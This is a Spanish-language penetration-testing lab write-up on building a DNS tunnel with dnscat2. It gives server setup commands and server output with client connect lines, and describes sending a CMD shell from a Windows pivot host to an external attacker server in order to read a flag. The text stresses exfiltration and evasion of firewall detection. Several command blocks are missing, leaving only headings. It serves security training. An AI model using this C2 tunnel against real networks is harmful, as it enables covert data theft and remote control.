🔁Túnel DNS con Dnscat2
Dnscat2 es una herramienta de tunelización que utiliza el protocolo DNS para enviar datos entre dos hosts. Utiliza un canal cifrado Command-&-Control( C&C o C2) y envía datos dentro de registros TXT dentro del protocolo DNS. Por lo general, cada entorno de dominio de directorio activo en una red corporativa tendrá su propio servidor DNS, que resolverá los nombres de host en direcciones IP y enrutará el tráfico a servidores DNS externos que participan en el sistema DNS general. Sin embargo, con dnscat2, la resolución de la dirección se solicita desde un servidor externo. Cuando un servidor DNS local intenta resolver una dirección, los datos se filtran y envían a través de la red en lugar de una solicitud DNS legítima. Dnscat2 puede ser un enfoque extremadamente sigiloso para filtrar datos y al mismo tiempo evadir las detecciones del firewall que eliminan las conexiones HTTPS y rastrean el tráfico. Para nuestro ejemplo de prueba, podemos usar el servidor dnscat2 en nuestro host de ataque y ejecutar el cliente dnscat2 en otro host de Windows.
Configuración y uso de dnscat2
Si dnscat2 aún no está configurado en nuestro host de ataque, podemos hacerlo usando los siguientes comandos:
Clonación de dnscat2 y configuración del servidor
afsh4ck@kali$ git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle installLuego podemos iniciar el servidor dnscat2 ejecutando el archivo dnscat2.
Iniciando el servidor dnscat2
afsh4ck@kali$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.Después de ejecutar el servidor, nos proporcionará la clave secreta, que tendremos que proporcionar a nuestro cliente dnscat2 en el host de Windows para que pueda autenticar y cifrar los datos que se envían a nuestro servidor dnscat2 externo. Podemos usar el cliente con el proyecto dnscat2 o usar dnscat2-powershell , un cliente basado en PowerShell compatible con dnscat2 que podemos ejecutar desde destinos Windows para establecer un túnel con nuestro servidor dnscat2. Podemos clonar el proyecto que contiene el archivo del cliente en nuestro host de ataque y luego transferirlo al objetivo.
Clonar dnscat2-powershell al host de ataque
Debemos enviar el archivo dnscat2.ps1 al objetivo, y una vez importado ejecutar cmd-lets asociados.
Importar dnscat2.ps1
Después de importar dnscat2.ps1, podemos usarlo para establecer un túnel con el servidor que se ejecuta en nuestro host de ataque. Podemos enviar una sesión de shell CMD a nuestro servidor.
Debemos utilizar el secreto precompartido ( -PreSharedSecret) generado en el servidor para garantizar que nuestra sesión esté establecida y cifrada. Si todos los pasos se completan con éxito, veremos una sesión establecida con nuestro servidor.
Confirmación del establecimiento de la sesión
Podemos enumerar las opciones que tenemos con dnscat2 ingresando ? en el mensaje.
Listado de opciones de dnscat2
Podemos usar dnscat2 para interactuar con sesiones y avanzar más en un entorno objetivo en compromisos. No cubriremos todas las posibilidades con dnscat2 en este módulo, pero se recomienda encarecidamente practicar con él y tal vez incluso encontrar formas creativas de usarlo en un compromiso. Interactúemos con nuestra sesión establecida y entremos en un caparazón.
Interactuar con la sesión establecida
Caso práctico
Utilizando los conceptos que se enseñan en esta sección, conéctate al destino y establece un túnel DNS que proporcione una sesión de shell. Envíe el contenido de C:\Users\htb-student\Documents\flag.txt como respuesta.
Ejecutar dnscat2
Clonamos dnscat2-powershell al host de ataque
Conexión por RDP al equipo de pivoting

Enviamos dnscat2.ps1
En nuestro equipo de atacante:
En el equipo de pivoting

Importar dnscat2.ps1
Establecer tunel con Shell CMD

Recibimos la shell en nuestro equipo atacante
Interactuar con la shell
En este punto vamos a buscar la flag en la carpeta /Documents:
Y obtenemos la flag correctamente! 🏆
Última actualización
¿Te fue útil?
